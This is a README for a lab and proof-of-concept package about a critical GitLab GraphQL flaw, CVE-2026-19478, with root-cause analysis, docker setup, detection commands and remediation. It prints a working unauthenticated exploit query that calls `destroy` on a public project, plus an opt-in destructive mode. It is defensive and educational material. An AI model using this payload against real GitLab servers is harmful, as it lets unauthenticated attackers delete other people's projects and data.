

CVE-2026-19478: GitLab GraphQL @gl_introduced validation lab

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README.md

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CVE-2026-19478 — GitLab GraphQL @gl_introduced unauthenticated arbitrary-method-invocation (validation lab + PoC)

Reproducible A/B lab and safe PoC for **CVE-2026-19478** (GitLab CE/EE, CVSS 9.4, Critical). An **unauthenticated** attacker can invoke arbitrary 0-argument Ruby methods on GraphQL-resolved domain objects — e.g. call `Project#destroy` to **delete a public project without credentials**. Also bundles a PoC for the sibling **CVE-2026-19650** (GraphQL multiplex query-swap) fixed in the same release. **For authorized security testing / education only**. Everything runs against your own local containers.

1. The vulnerability

GitLab ships a GraphQL client directive `@gl_introduced(version: "X.Y.Z")` (forward-compatibility for rolling deploys). When a query names a field with a version newer than the running server, a tracer (`Gitlab::GraphQL::VersionFilter::IntroducedTracer`) strips it before **static validation** so the query validates, then re-runs the **original** document at execution and lets unknown fields resolve to a fallback.

The bug is in the fallback (`lib/gitlab/graphql/version_filter/future_field_fallback.rb`, pre-patch):

```
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
```

A `GraphQL::Schema::Field` with **no resolver** is resolved by graphql-ruby by calling `object.public_send(field_name)` (graphql-ruby `lib/graphql/schema/field.rb` — the `respond_to?(@method_sym) → public_send` branch runs *before* `fallback_value` is ever consulted, so `fallback_value: nil` was dead code). Therefore, under `@gl_introduced`, **the client chooses a field name equal to any 0-arg method on the currently-resolved object, and the server invokes it.**

Resolve a public project, request a "future field" named `destroy` → the server runs `Project#destroy`.

- **Impact:** unauthenticated modify/delete of public projects and user data (CVSS 9.4, AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).
- **Affected:** GitLab CE/EE 18.2–18.11.10, 19.0.0–19.0.7, 19.1.0–19.1.5, **19.2.0–19.2.3**.
- **Fixed:** 18.11.11, 19.0.8, 19.1.6, **19.2.4** (2026-08-17) — the fallback now uses an explicit

`Resolvers::NilResolver` that returns `nil` and never calls a method.

Trigger constraints (learned empirically)

1. `@gl_introduced(version:)` must be **greater than the server version** (use `99.0.0`).
2. The field name is the **exact method name, verbatim** (snake_case as defined in Ruby, e.g. `to_param`, `destroy`).
3. The parent selection needs **≥1 real sibling field** (e.g. `id`) or the filtered document is an empty

selection set and GitLab returns a `"Field must have selections"` validation error.

2. Quick start (A/B lab: vulnerable 19.2.2 vs patched

19.2.4)

Requirements: Docker + docker compose, ~8 GB RAM free, Python 3.

```
docker compose up -d          # boots vulnerable :8222 and patched :8224 (GitLab takes
~3-5 min to become healthy)
./setup.sh                   # waits for readiness, seeds a public project + an admin
token on each instance
```

setup.sh prints, per instance: the base URL, the seeded public project path (`root/pub`), and an admin PAT.

3. Run the PoC

3a. Detection (SAFE, non-destructive — default)

Uses the method-call primitive with a harmless method (`to_param`). No data is changed.

```
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222    # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224    # patched -> NOT
VULNERABLE
```

Expected:

```
[*] mechanism check ..... @gl_introduced active (unknown field returns null, no
error)
[*] method-call probe ..... { project(fullPath:"root/pub"){ id to_param
@gl_introduced(version:"99.0.0") } }
[+] response ..... {"project":
{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null);
CVE-2026-19478 present.
```

vs. on the patched instance:

```
[+] response ..... {"project":
{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
```

3b. Prove destructive impact (OPT-IN — deletes a throwaway project it creates itself)

Creates its **own** disposable public project via the REST API (needs the admin token from `setup.sh`), then deletes it through the **unauthenticated** GraphQL attack, and confirms the project is gone.

```
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
  --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
```

Expected (vulnerable):

```
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ..... { project(fullPath:"root/poc-doomed-<rand>"){ id destroy
@gl_introduced(version:"99.0.0") } }
[+] response ..... {"project":
{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ..... GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED – unauthenticated request DELETED the project. CVE-2026-19478 impact
proven.
```

On the patched instance the same run reports the project still returns `200 OK` and `destroy` is `null`.

3c. Sibling CVE-2026-19650 (multiplex query-swap) — SAFE

```
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns
slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots
isolated)
```

4. Test against your own instance

Point `--url` at any GitLab you are authorized to test, and `--project` at a public project on it:

```
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-
public-project
```

Detection is non-destructive. Do **not** use `--prove-destroy` against anything you don't own.

5. Remediation

Upgrade to **19.2.4 / 19.1.6 / 19.0.8 / 18.11.11** or later. The fix routes the fallback through `Resolvers::NilResolver` (returns `nil`, never invokes an object method). If you cannot upgrade immediately, block the `@gl_introduced` directive / the version-filter path at a proxy, or restrict unauthenticated GraphQL access.

6. Files

File	Purpose
<code>docker-compose.yml</code>	Boots vulnerable 19.2.2-ce (:8222) + patched 19.2.4-ce (:8224)
<code>setup.sh</code>	Waits for readiness, seeds <code>root/pub</code> public project + admin token per instance
<code>poc_cve_2026_19478.py</code>	Detection (safe) + optional <code>--prove-destroy</code> impact proof
<code>poc_cve_2026_19650.py</code>	Multiplex query-swap detection (safe)

7. Safety notes

- Everything targets containers you run. The default PoC is non-destructive.
- `--prove-destroy` creates and deletes **its own** throwaway project; it never touches `root/pub` or your data.
- Reporters: hiimguardian (CVE-2026-19478), creep (CVE-2026-19650), via GitLab HackerOne. Public technical

disclosure embargoed ~90 days post-patch; this lab derives the mechanism from the public fix commits `e283c6adeb3d` (fallback) and `d2ea4b971a98` (multiplex swap).

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